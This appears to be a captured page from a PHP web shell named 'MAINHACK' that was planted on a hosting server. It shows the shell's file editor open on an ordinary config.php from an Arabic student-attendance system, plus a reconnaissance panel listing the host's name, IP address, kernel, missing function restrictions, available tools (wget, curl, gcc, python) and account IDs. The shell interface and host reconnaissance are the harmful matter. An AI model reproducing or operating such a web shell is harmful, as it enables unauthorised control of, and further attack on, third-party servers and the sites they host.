[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: config.php
<?php /** * Main configuration file * Contains site settings and WhatsApp API configuration */ // Start session if not already started if (session_status() == PHP_SESSION_NONE) { session_start(); } // Site configuration define('SITE_NAME', 'نظام إدارة حضور الطلاب'); define('SITE_URL', 'http://localhost/attendance'); // WhatsApp API Configuration define('WHATSAPP_API_URL', 'https://api.whatsapp.com/send'); define('WHATSAPP_TOKEN', ''); // Add your WhatsApp API token here // Include database configuration require_once 'database.php'; /** * Check if user is logged in as admin * @return bool true if admin is logged in, false otherwise */ function isAdminLoggedIn() { return isset($_SESSION['admin_id']) && !empty($_SESSION['admin_id']); } /** * Check if user is logged in as teacher * @return bool true if teacher is logged in, false otherwise */ function isTeacherLoggedIn() { return isset($_SESSION['teacher_id']) && !empty($_SESSION['teacher_id']); } /** * Check if user is logged in as parent * @return bool true if parent is logged in, false otherwise */ function isParentLoggedIn() { return isset($_SESSION['parent_logged_in']) && $_SESSION['parent_logged_in'] === true; } /** * Redirect to login page if not authorized * @param string $role Role to check (admin, teacher, parent) */ function requireLogin($role = 'admin') { switch($role) { case 'admin': if (!isAdminLoggedIn()) { header('Location: admin_login.php'); exit(); } break; case 'teacher': if (!isTeacherLoggedIn()) { header('Location: teacher_login.php'); exit(); } break; case 'parent': if (!isParentLoggedIn()) { header('Location: parent_login.php'); exit(); } break; } } /** * Generate random student code * @return string 5-digit random number */ function generateStudentCode() { return str_pad(rand(10000, 99999), 5, '0', STR_PAD_LEFT); } /** * Send WhatsApp message using API * @param string $phone Phone number * @param string $message Message to send * @return bool Success status */ function sendWhatsAppMessage($phone, $message) { if (empty(WHATSAPP_TOKEN)) { return false; } // Format phone number (remove any non-numeric characters) $phone = preg_replace('/[^0-9]/', '', $phone); // WhatsApp API call would go here // This is a placeholder - you need to implement based on your WhatsApp API provider $data = array( 'phone' => $phone, 'message' => $message, 'token' => WHATSAPP_TOKEN ); // Example cURL implementation (adjust based on your API provider) $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, WHATSAPP_API_URL); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); return $result !== false; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285